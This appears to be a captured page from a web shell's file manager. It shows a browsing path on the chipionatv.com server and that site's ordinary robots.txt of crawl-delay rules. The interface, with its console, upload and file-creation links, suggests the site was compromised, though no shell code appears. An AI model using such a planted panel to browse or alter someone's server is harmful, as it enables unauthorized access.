Azeri
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
var
/
www
/
vhosts
/
chipionatv.com
/
httpdocs
/
Filename :
robots.txt
back
Copy
User-agent: * Disallow: User-agent: msnbot Crawl-delay: 10 User-Agent: bingbot Crawl-delay: 50 User-Agent: Googlebot Crawl-delay: 50 User-Agent: SemrushBot/7 Crawl-delay: 900 User-Agent: YandexBot/3.0 Crawl-delay: 900 #Blocking Semrushbot/7 #SetEnvIfNoCase User-agent SemrushBot/7 not-allowed=1 #Order Allow,Deny #Deny from env=not-allowed